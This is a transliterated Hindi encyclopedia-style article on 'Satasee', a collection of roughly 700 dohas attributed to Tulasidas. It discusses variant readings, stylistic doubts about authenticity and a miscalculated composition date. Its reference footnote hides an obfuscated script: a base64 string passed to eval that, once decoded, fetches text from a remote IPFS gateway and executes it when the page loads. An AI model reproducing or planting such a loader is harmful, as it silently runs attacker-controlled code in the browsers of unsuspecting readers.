सतसई
satasee
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| kavi | gosvami tulasidas | |
| mool shirshak | 'satasee' | |
| desh | bharat | |
| vishay | dohoan ka sangrah granth. | |
| kul dohe | 700 ke lagabhag. | |
| tippani | 'satasee' gosvami tulasidas ki kisi ek vishay ki rachana nahian hai. isamean anekanek vishayoan ke sphut dohe sankalit hue haian. | |
satasee gosvami tulasidas ke dohoan ka ek sangrah granth hai. in dohoan mean se anek dohe 'dohavali' ki vibhinn pratiyoan mean tulasidas ke any granthoan mean bhi milate haian aur unase liye gaye hai. bahut se 'ramacharit manas' aur 'ramajna prashn' se liye gaye haian.
dohavali
'satasee' ki vibhinn pratiyoan mean usake kee path bhi milate haian. in pathoan ka milan nahian kiya gaya hai, kiantu inamean paraspar aantar bahut hai. isaka sampadan kavi apane jivan kal mean nahian kar saka tha. sambhavat: usake vividh vishayoan ke kuchh sphut dohe hi the, jinhean alag-alag dhang se alag-alag vyaktiyoan ne sankalit kar liya. isamean alag-alag vishayoan ke 700 ke lagabhag dohe haian. isaki pratiyaan prayah ek path ki milati haian. 'satasee' ka ek pramukh aansh 'dohavali' mean bhi milata hai. 'satasee' ke shesh aansh shabd, roop, shaili tatha vichar dhara ki drishtiyoan se us aansh se itane bhinn haian ki ve adhikatar prakshipt jnat hote haian. udaharan ke liye usake praranbh ke hi nimnalikhit dohoan ko dekha ja sakata hai-
namo namo narayan paramatam saradham.
jehi sumiran sidhi hot hai tulasi jan man kam॥
param purush par dham bar ja par apar n an.
tulasi so samujhat sunat ram soi niraban ॥
sakal sukhad gun jasu so ram kamana hin.
sakal kamaprad sarvahit tulasi kahahi pravin॥
jake rom rom prati amit amit brihmand.
so dekhat tulasi prakat amal suachal akhand॥
uparyukt prithakh dohe ka 'namo namo' tulasi granthavali mean anyatr nahian milata hai, yadyapi "nam" ke "namam", "namami" adi roop milate haian. vyakaran ki drishti se "sidhi" chity hai, "jan man kam" aur "sidhi" mean ek hi hota hai. kriya ka karta ho sakata hai. doosare dohe mean "paramadham" ke sath "var" anavashyak hi nahian nira bharati ka hai. samanarthiyoan "apar" aur "an" mean ek hi hona chahie tha, "samujhat" aur "sunat" prasang mean anavashyak hi nahian, asangat lagate haian. tisare dohe mean "sakal" ki punarakti chity hai. "so" asangat lagata hai, "jo" kadachit adhik sangat hota. chauthe dohe ka "rom rom", "ramavali" adi roop to tulasi granthavali mean milate haian, "rom rom" roop kahian nahian milata hai. punah isaki rachana-tithi jo nimnalikhit dohe mean huee hai, vah bhi ganana mean thik nahian ati hai.
"ati rasana dhan dhenu ras ganapati dvij guruvar.
madhav sit siy janam tithi satasaiya avatar॥"
is dohe ke anusar tithi sanvat 1624 vaishakh shukl 9 (sita ji ki janmatithi) hoti hai, kiantu ganana se is tithi ko guruvar n p dakar ke budhavar p data hai. atah "satasee" apane satasee roop mean tulasidas ji ki rachana nahian hai, usaka ek aansh hai, jo 'dohavali' mean paya jata hai, tulasidas ki rachana mani ja sakati hai.[1]
vishay
'satasee' kisi ek vishay ki rachana nahian hai. isamean anekanek vishayoan ke sphut dohe sankalit hue haian. kuchh chhnd kavi ke jivan ki anek ghatanaoan se sambandhit haian. inaka mahattv kavi ke pramanik jivan vritt ke nirman mean bahut adhik hai. 'kavitavali' ke chhndoan ke bad 'satasee' ke in dohoan se hi kavi ke jivan- vrit nirman mean hamean ullekhaniy sahayata milati hai.
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tika tippani aur sandarbh
- ↑ hindi sahity kosh bhag-2 |lekhak: dhireandr varma evan any |prakashak: jnanamandal limited, varanasi |prishth sankhya: 611 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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